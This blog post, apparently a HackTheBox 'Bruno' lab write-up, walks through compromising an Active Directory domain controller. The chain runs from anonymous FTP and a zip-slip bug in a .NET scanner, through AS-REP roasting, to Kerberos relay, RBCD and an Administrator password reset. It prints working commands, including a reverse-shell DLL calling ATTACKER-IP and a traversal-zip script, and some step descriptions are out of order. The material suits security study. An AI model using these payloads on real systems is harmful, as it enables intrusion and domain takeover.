DEV Community

Yogeshwar Peela
Yogeshwar Peela

Posted on • Originally published at exploitnotes.hashnode.dev

HackTheBox: Bruno Writeup

HTB Bruno — Zip-Slip RCE to Kerberos Relay Domain Admin

Bruno is a Windows Active Directory box built around a single bad assumption: that a "malware scanner" service can safely extract whatever zip a low-privileged share drops in front of it. That assumption gets us a foothold as svc_scan. From there, the absence of LDAP signing and a permissive MachineAccountQuota let us turn a Kerberos relay through a COM-activated service into Domain Admin.

Reconnaissance

Started with a full TCP/service scan against the DC.

nmap -sC -sV -A -oA nmap <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
21/tcp   open  ftp           Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
135,139,389,445,464,593,636,3268,3269,3389 ...
Enter fullscreen mode Exit fullscreen mode

The Kerberos, LDAP, and SMB ports confirm this is a Domain Controller — hostname BRUNODC, domain bruno.vl. Anonymous FTP being open immediately stood out as the most interesting entry point, since it's rare to see writable FTP directly on a DC.

Anonymous FTP Enumeration

Anonymous login worked straight away:

ftp <MACHINE-IP>
Name: anonymous
Password:
230 User logged in.
Enter fullscreen mode Exit fullscreen mode

Listing the root showed four directories: app, benign, malicious, and queue. That naming convention — queue / benign / malicious — is a strong signal this is a file-scanning pipeline: something watches queue, decides if a sample is malicious, and routes it accordingly.

ftp> ls
06-19-26  07:04AM       <DIR>          app
06-19-26  07:01AM       <DIR>          benign
06-29-22  01:41PM       <DIR>          malicious
06-19-26  07:44AM       <DIR>          queue
Enter fullscreen mode Exit fullscreen mode

app contained a self-contained .NET binary (SampleScanner.exe/.dll and the usual .deps.json/runtimeconfig files) and a changelog:

Version 0.3
- integrated with dev site
- automation using svc_scan

Version 0.2
- additional functionality

Version 0.1
- initial support for EICAR string
Enter fullscreen mode Exit fullscreen mode

The changelog confirms the automation account is svc_scan — useful for later Kerberos attacks.

Decompiling the Scanner

SampleScanner.dll is a small .NET Core 3.1 assembly, easily decompiled:

ilspycmd SampleScanner.dll
Enter fullscreen mode Exit fullscreen mode

The logic is straightforward and, critically, unsafe:

string[] files = Directory.GetFiles("C:\\samples\\queue\\", "*", SearchOption.AllDirectories);
foreach (string text2 in files)
{
    if (text2.EndsWith(".zip"))
    {
        using ZipArchive zipArchive = ZipFile.OpenRead(text2);
        foreach (ZipArchiveEntry entry in zipArchive.Entries)
        {
            string destinationFileName = Path.Combine("C:\\samples\\queue\\", entry.FullName);
            entry.ExtractToFile(destinationFileName);
        }
        File.Delete(text2);
    }
    else if (PatternAt(File.ReadAllBytes(text2), bytes).Any())
    {
        File.Copy(text2, text2.Replace("queue", "malicious"), overwrite: true);
        File.Delete(text2);
    }
    else
    {
        File.Copy(text2, text2.Replace("queue", "benign"), overwrite: true);
        File.Delete(text2);
    }
}
Enter fullscreen mode Exit fullscreen mode

This is a classic zip-slip. The extraction path is built with Path.Combine("C:\\samples\\queue\\", entry.FullName) and entry.FullName comes straight from the archive with no normalization or containment check. Any zip entry name containing ../ segments lets us write a file outside the queue directory — including back into app, where the live scanner binaries live.

Second find while decompiling: going through the rest of the unpacked files, SampleScanner.runtimeconfig.dev.json leaked a build-time artifact - a hit for a second valid domain username baked into the binary from whoever compiled it on their own machine:

"additionalProbingPaths": [
  "C:\\Users\\xct\\.dotnet\\store\\|arch|\\|tfm|",
  "C:\\Users\\xct\\.nuget\\packages"
]
Enter fullscreen mode Exit fullscreen mode

That's xct. It's a free second username for AS-REP roasting, so I added it to a users wordlist alongside svc_scan (from the changelog) and used that combined list for GetNPUsers in the next section. Worth always doing a quick grep through any shipped .deps.json/runtimeconfig files and decompiled source for stray paths, usernames, or comments like this - it's exactly the kind of leak that pads out a roasting wordlist for free.

cat users
svc_scan
xct
Enter fullscreen mode Exit fullscreen mode

Initial Foothold

Null sessions and AS-REP roasting

SMB null/anonymous auth worked for basic recon:

nxc smb <MACHINE-IP> -u '' -p ''
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\: (Null Auth:True)
Enter fullscreen mode Exit fullscreen mode

Shares weren't enumerable yet, and user enum via null auth came back empty, but between the app changelog (svc_scan) and the leaked build path in SampleScanner.runtimeconfig.dev.json (xct), the users wordlist had two solid candidates. AS-REP roasting against accounts with DONT_REQ_PREAUTH paid off:

impacket-GetNPUsers bruno.vl/ -usersfile users -no-pass -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
$krb5asrep$23$svc_scan@BRUNO.VL:b127a5cfe3288b3cef52a1f293357218$8e28a59d6cc5...
Enter fullscreen mode Exit fullscreen mode

Cracked offline with John:

john asrep.hash --wordlist=/usr/share/wordlists/rockyou.txt
john asrep.hash --show
$krb5asrep$23$svc_scan@BRUNO.VL:Sunshine1
Enter fullscreen mode Exit fullscreen mode

svc_scan:Sunshine1 checked out against SMB:

nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1
SMB <MACHINE-IP> 445 BRUNODC [+] bruno.vl\svc_scan:Sunshine1
Enter fullscreen mode Exit fullscreen mode

Reaching the queue share

With valid creds, shares opened up — and queue was writable:

nxc smb <MACHINE-IP> -u svc_scan -p Sunshine1 --shares
SMB ... queue           READ,WRITE
SMB ... CertEnroll      READ
SMB ... NETLOGON        READ
SMB ... SYSVOL          READ
Enter fullscreen mode Exit fullscreen mode

This confirmed the plan: the FTP queue directory and the SMB queue share are the same backend folder the scanner polls.

Building the zip-slip payload

Generated a reverse shell DLL with msfvenom, matching the size/shape of a legitimate hostfxr.dll closely enough to not look obviously wrong if anyone glanced at file listings:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER-IP> LPORT=4444 -f dll -o hostfxr.dll
Enter fullscreen mode Exit fullscreen mode

Then packed it into a zip with a traversal path as the entry name, using Python's zipfile so I controlled the exact entry name (the OS zip CLI normalizes ../ and would have defeated the attack):

import zipfile
with open('hostfxr.dll', 'rb') as f:
    hostfxr = f.read()
with zipfile.ZipFile('rev-shell.zip', 'w') as zip:
    zip.writestr('../app/hostfxr.dll', hostfxr)
Enter fullscreen mode Exit fullscreen mode

Uploaded it to the writable share:

smbclient //<MACHINE-IP>/queue -U svc_scan%Sunshine1
smb: \> put rev-shell.zip
Enter fullscreen mode Exit fullscreen mode

Started a listener and an SMB/HTTP server, then waited for the scanner's polling cycle to pick up the zip from queue, extract it (writing our malicious hostfxr.dll into app, where none existed before), and delete the source zip. The next time anything in app invokes the .NET host, our payload DLL gets loaded instead — and the reverse shell connects back as svc_scan.

whoami
bruno\svc_scan
Enter fullscreen mode Exit fullscreen mode

Confirming the DLL Load Behavior Locally with Process Monitor

I built an identical directory structure on my own Windows VM - C:\samples\app populated with the same downloaded SampleScanner.exe/.dll and supporting files, mirroring the FTP layout exactly — executed SampleScanner.exe locally, and watched its actual file resolution order under Process Monitor.

Filtered Procmon down to Path ends with .dll, with the usual noise processes (Procmon/Procexp/Autoruns/System) and registry/FastIO operations excluded:

With the filter applied, the very first events show the app probing for its own runtime host before falling back to the globally installed one:

SampleSc...  3428  CreateFile  C:\samples\app\hostfxr.dll                                          NAME NOT FOUND
SampleSc...  3428  CreateFile  C:\Program Files\dotnet\coreclr.dll                                  NAME NOT FOUND
SampleSc...  3428  CreateFile  C:\Program Files\dotnet\shared\Microsoft.NETCore.App\3.1.32\advapi32.dll  NAME NOT FOUND
...
Enter fullscreen mode Exit fullscreen mode

Analyzing a second run, after the bundled CLR runtime resolved normally, shows the same app\hostfxr.dll probe still missing locally, immediately followed by a successful resolution against the real, version-pinned hostfxr install:

SampleSc...  1840  CreateFile          C:\samples\app\hostfxr.dll                       NAME NOT FOUND
SampleSc...  1840  CreateFile          C:\Program Files\dotnet\host\fxr\8.0.8\hostfxr.dll  SUCCESS
SampleSc...  1840  QueryNetworkOpenData ...                                              SUCCESS
SampleSc...  1840  CloseFile           ...                                              SUCCESS
Enter fullscreen mode Exit fullscreen mode

This local analysis confirms exactly why the zip-slip overwrite works: the apphost's runtime resolver checks for hostfxr.dll next to the executable in app first, before ever falling through to the real dotnet install under Program Files. On the live box that local probe always came back NAME NOT FOUND - there was never a legitimate hostfxr.dll sitting in app to begin with, so the slot was simply empty and waiting. Once our zip-slip write drops a payload DLL at C:\samples\app\hostfxr.dll, that first probe succeeds instead of missing, the resolver never reaches the real runtime path, and our DLL gets loaded and executed in-process the next time the scanner runs — classic DLL search-order hijacking, just triggered through a file-write bug instead of a writable PATH directory.

Privilege Escalation

Situational awareness

whoami /priv
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeMachineAccountPrivilege     Add workstations to domain     Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Enter fullscreen mode Exit fullscreen mode

SeMachineAccountPrivilege shows up but disabled — the right to add computer accounts is generally available to all domain users by default anyway, gated by MachineAccountQuota, not by this token privilege. Checked the quota and LDAP channel security over LDAP itself:

nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1 -M maq
MAQ <MACHINE-IP> 389 BRUNODC MachineAccountQuota: 10
Enter fullscreen mode Exit fullscreen mode
nxc ldap <MACHINE-IP> -u svc_scan -p Sunshine1
LDAP <MACHINE-IP> 389 BRUNODC (signing:None) (channel binding:Never)
Enter fullscreen mode Exit fullscreen mode

That's the second flaw: no LDAP signing and no channel binding, paired with a non-zero MachineAccountQuota. This is the textbook setup for a Kerberos relay attack using a COM-coercion primitive (KrbRelayUp) to force a SYSTEM-level Kerberos authentication that we relay to LDAP on the DC itself.

Pulling the tooling and enumerating CLSIDs

KrbRelayUp needs a local, SYSTEM-running DCOM service whose CLSID we can activate to coerce a Kerberos authentication. Pulled the compiled KrbRelayUp.exe/KrbRelay.exe from SharpCollection and the CLSID enumeration script from juicy-potato onto the box:

Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelayUp.exe" -OutFile "C:\temp\KrbRelayUp.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/KrbRelay.exe" -OutFile "C:\temp\KrbRelay.exe"
Invoke-WebRequest -Uri "http://<ATTACKER-IP>/GetCLSID.ps1" -OutFile "C:\temp\GetCLSID.ps1"
Enter fullscreen mode Exit fullscreen mode

Ran the script to dump every locally registered AppID/CLSID pair tied to a Windows service:

.\GetCLSID.ps1
Enter fullscreen mode Exit fullscreen mode
Name           Used (GB)     Free (GB) Provider      Root               CurrentLocation
----           ---------     --------- --------      ----               ---------------
HKCR                                   Registry      HKEY_CLASSES_ROOT
Looking for CLSIDs
Looking for APIDs
Joining CLSIDs and APIDs

    Directory: C:\temp

Mode      LastWriteTime        Length Name
----      -------------        ------ ----
-a----    6/19/2026  12:06 PM    3200 CLSID.list
-a----    6/19/2026  12:06 PM    7697 CLSIDs.csv
Enter fullscreen mode Exit fullscreen mode

The script produces a directory containing two files - CLSID.list (a flat list of CLSID GUIDs) and CLSIDs.csv (the same CLSIDs joined against their owning AppID and the local service name that registers them). CLSIDs.csv came back with roughly 70 candidate entries, far too many to test by hand one at a time, so instead of manually instantiating each one I wrote a small filtering script that cross-references every CLSID against currently running services and actually attempts [System.Activator]::CreateInstance() on each, surfacing only the ones that succeed, are access-denied, or are unavailable:

Import-Csv "Windows_Server_2022_Datacenter\CLSIDs.csv" | ForEach-Object {
    $serviceName = $_.LocalService
    $clsid = $_.CLSID.Trim("{}")
    $svc = Get-Service -Name $serviceName -ErrorAction SilentlyContinue
    if ($svc -and $svc.Status -eq 'Running') {
        try {
            $type = [Type]::GetTypeFromCLSID([Guid]$clsid)
            [System.Activator]::CreateInstance($type) | Out-Null
            Write-Host "$serviceName | $clsid | [SUCCESS]" -ForegroundColor Green
        } catch { ... }
    }
}
Enter fullscreen mode Exit fullscreen mode
CertSvc | D99E6E73-FC88-11D0-B498-00A0C90312F3 | [SUCCESS]
UsoSvc  | 84C80796-F07C-4340-8897-DA954AADBF16 | [Class Not Available]
vds     | 7D1933CB-86F6-4A98-8628-01BE94C9A575 | [Access Denied]
Enter fullscreen mode Exit fullscreen mode

CertSvc (Active Directory Certificate Services, running as NT AUTHORITY\SYSTEM) instantiated cleanly - that's our coercion primitive. Anything that triggers this CLSID forces the local SYSTEM account to authenticate over Kerberos, and because LDAP signing is disabled, that authentication can be relayed straight into an LDAP session on the DC with full SYSTEM-equivalent rights.

Relay path 1: KrbRelayUp end-to-end (RBCD)

Tried the all-in-one KrbRelayUp path first - create a new computer account and grant it Resource-Based Constrained Delegation (RBCD) rights over the DC computer object in one shot:

.\KrbRelayUp.exe relay -Domain bruno.vl -CreateNewComputerAccount -ComputerName 'damn$' -ComputerPassword damned12 -cls D99E6E73-FC88-11D0-B498-00A0C90312F3
Enter fullscreen mode Exit fullscreen mode
[+] Computer account "damn$" added with password "damned12"
[+] Forcing SYSTEM authentication
[+] Got Krb Auth from NT/SYSTEM. Relaying to LDAP now...
[+] LDAP session established
[+] RBCD rights added successfully
Enter fullscreen mode Exit fullscreen mode

KrbRelayUp creates the computer account damn$, coerces SYSTEM auth via the CertSvc CLSID, relays that auth to LDAP, and writes RBCD permissions so damn$ can delegate to BRUNODC$. With RBCD configured, the spawn subcommand requests a service ticket on damn$'s behalf impersonating Administrator, and uses it to stand up a SYSTEM service:

.\KrbRelayUp.exe spawn -m rbcd -d bruno.vl -dc brunodc.bruno.vl -cn damn$ -cp damned12
Enter fullscreen mode Exit fullscreen mode
[+] S4U2self success!
[+] Got a TGS for 'Administrator' to 'damn$@BRUNO.VL'
[+] S4U2proxy success!
[+] KrbSCM Service created
[+] KrbSCM Service started
[+] Clean-up done
Enter fullscreen mode Exit fullscreen mode

This step is timing-sensitive against the relay/auth coercion, and it intermittently fails to spawn a usable SYSTEM shell even when the RBCD write itself succeeded - worth knowing going in, since it cost a fair bit of retrying before falling back to a second path.

Relay path 2: manual S4U + KrbRelay password reset (reliable fallback)

When KrbRelayUp spawn didn't return a shell, the RBCD rights were already in place from the first run, so the rest of the chain can be driven manually with Impacket, which is far more deterministic than spawn.

Grab the computer account's SID (used to scope the RBCD delegation target):

(Get-ADComputer -Identity $(hostname)).SID.Value
S-1-5-21-1536375944-4286418366-3447278137-1000
Enter fullscreen mode Exit fullscreen mode

Now perform password reset using KrbRealy.exe

.\KrbRelay.exe -spn ldap/brunodc.bruno.vl -clsid D99E6E73-FC88-11D0-B498-00A0C90312F3 -rbcd S-1-5-21-1536375944-4286418366-3447278137-5104 -ssl -port 10246 -reset-password administrator gotyou12
Enter fullscreen mode Exit fullscreen mode
[*] Relaying context: bruno.vl\BRUNODC$
[*] Forcing SYSTEM authentication
[+] LDAP session established
[*] ldap_modify: LDAP_UNWILLING_TO_PERFORM
[*] ldap_modify: LDAP_SUCCESS
Enter fullscreen mode Exit fullscreen mode

The key signal here is the trailing ldap_modify: LDAP_SUCCESS. KrbRelay logs one LDAP_UNWILLING_TO_PERFORM line as part of an internal retry/permission probe, but as long as the final modify returns LDAP_SUCCESS, the Administrator password has actually been changed to the value passed in (gotyou12 in this run). This step is also a little flaky — a run can come back clean on every line and still not have actually applied, so it's worth re-running once or twice and confirming success on every relevant LDAP operation before moving on.

SYSTEM via Kerberos-authenticated PsExec

With a fresh Administrator credential in hand, authenticate over Kerberos (no NTLM needed) and get a SYSTEM shell with Impacket's PsExec:

Request a forwardable ticket for damn$, then use S4U2self/S4U2proxy to impersonate Administrator against host/brunodc.bruno.vl:

impacket-getST -dc-ip <MACHINE-IP> -spn host/brunodc.bruno.vl -impersonate Administrator bruno.vl/damn$:damned12
Enter fullscreen mode Exit fullscreen mode
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache
Enter fullscreen mode Exit fullscreen mode

With that ticket cached, use KrbRelay (not KrbRelayUp) to trigger the same CertSvc CLSID coercion and relay the resulting SYSTEM Kerberos auth into an LDAP modify that resets the domain Administrator's password — using the RBCD rights on damn$ to authorize the action:

export KRB5CCNAME=Administrator@host_brunodc.bruno.vl@BRUNO.VL.ccache
impacket-psexec -k -no-pass bruno.vl/Administrator@brunodc.bruno.vl -dc-ip <MACHINE-IP>
Enter fullscreen mode Exit fullscreen mode
[*] Found writable share ADMIN$
[*] Creating service GMTw on brunodc.bruno.vl.....
[*] Starting service GMTw.....
C:\Windows\system32> whoami
nt authority\system
Enter fullscreen mode Exit fullscreen mode

Flag retrieval:

C:\Users\Administrator\Desktop> type root.txt
HTB{REDACTED}
Enter fullscreen mode Exit fullscreen mode

Why the Privesc Actually Works

Worth spelling out the chain in plain terms, since it isn't a single CVE but a combination of three separate misconfigurations:

  1. No LDAP signing / no channel binding on the DC means any Kerberos authentication captured locally can be relayed into an authenticated LDAP session without the DC detecting tampering or rejecting the relayed signature.
  2. A non-zero MachineAccountQuota (10, well above the 0 a hardened domain would set) lets any authenticated domain user — including svc_scan — create new computer accounts at will, which is the relay's landing point.
  3. A locally activatable, SYSTEM-running COM service (CertSvc) gives us a reliable way to coerce a SYSTEM-context Kerberos authentication on demand, which is the thing actually getting relayed.

Chain it together: coerce SYSTEM's Kerberos auth via the CertSvc CLSID → relay it to LDAP, which the DC accepts unsigned → use that session to grant RBCD rights to a computer account we control → use RBCD to mint a service ticket impersonating Administrator → use that ticket-authenticated LDAP session to reset Administrator's password (or, in the cleaner path, just use the ticket directly for SYSTEM-level service control). Any one of the three conditions being fixed (LDAP signing enforced, quota set to 0, or the CLSID hardened/unavailable to non-admins) breaks the chain.

References

Tools Used

  • nmap — service/version recon
  • ftp / anonymous FTP client — initial file disclosure
  • ilspycmd — .NET decompilation of SampleScanner.dll
  • smbclient / nxc (NetExec) — SMB enumeration and file upload
  • impacket-GetNPUsers — AS-REP roasting
  • john / hashcat — offline hash cracking
  • msfvenom — reverse shell DLL payload
  • Python zipfile — crafting the zip-slip archive
  • GetCLSID.ps1 (juicy-potato) — CLSID/service enumeration
  • KrbRelayUp / KrbRelay (SharpCollection) — Kerberos relay, RBCD, password reset
  • impacket-getST — S4U2self/S4U2proxy ticket request
  • impacket-psexec — Kerberos-authenticated SYSTEM shell

Attack Chain

Step Action Result
1 Anonymous FTP recon Discovered scanner app, queue/benign/malicious workflow, svc_scan account name
2 Decompiled SampleScanner.dll Identified unsanitized zip extraction (zip-slip) and leaked xct username
3 AS-REP roast + crack svc_scan Obtained svc_scan:Sunshine1
4 Uploaded crafted zip to writable queue SMB share Wrote malicious app\hostfxr.dll (slot previously empty)
5 Scanner cycle triggered payload Reverse shell as bruno\svc_scan
6 Rebuilt directory structure locally, ran SampleScanner.exe under Procmon Confirmed hostfxr.dll search-order hijack mechanism
7 Enumerated MachineAccountQuota + LDAP signing state Confirmed relay-friendly LDAP config
8 Downloaded KrbRelayUp/KrbRelay/GetCLSID.ps1, ran CLSID enumeration + filtering script Found CertSvc CLSID activatable as SYSTEM
9 KrbRelayUp: created computer account + RBCD Delegation rights granted to damn$
10 impacket-getST S4U2self/S4U2proxy Ticket impersonating Administrator
11 KrbRelay password reset over relayed LDAP Administrator password changed
12 impacket-psexec with Kerberos ticket SYSTEM shell, root flag

Key Vulnerabilities

Vulnerability Component Impact
Zip-slip (unsanitized ZipArchiveEntry.FullName) SampleScanner.dll custom scanner Arbitrary file write/overwrite as the scanner's service account
Leaked developer username in build artifact SampleScanner.runtimeconfig.dev.json Expanded AS-REP roasting wordlist (xct)
AS-REP roastable account (DONT_REQ_PREAUTH) svc_scan Offline-crackable credential exposure
Writable SMB share aligned with scanner input queue queue share RCE staging via the zip-slip flaw
Disabled LDAP signing / channel binding Domain Controller LDAP Kerberos relay to LDAP without signature validation
Non-zero MachineAccountQuota Active Directory Arbitrary computer account creation enabling RBCD abuse
Locally activatable SYSTEM COM service (CertSvc CLSID) AD CS Reliable SYSTEM Kerberos auth coercion primitive

Top comments (0)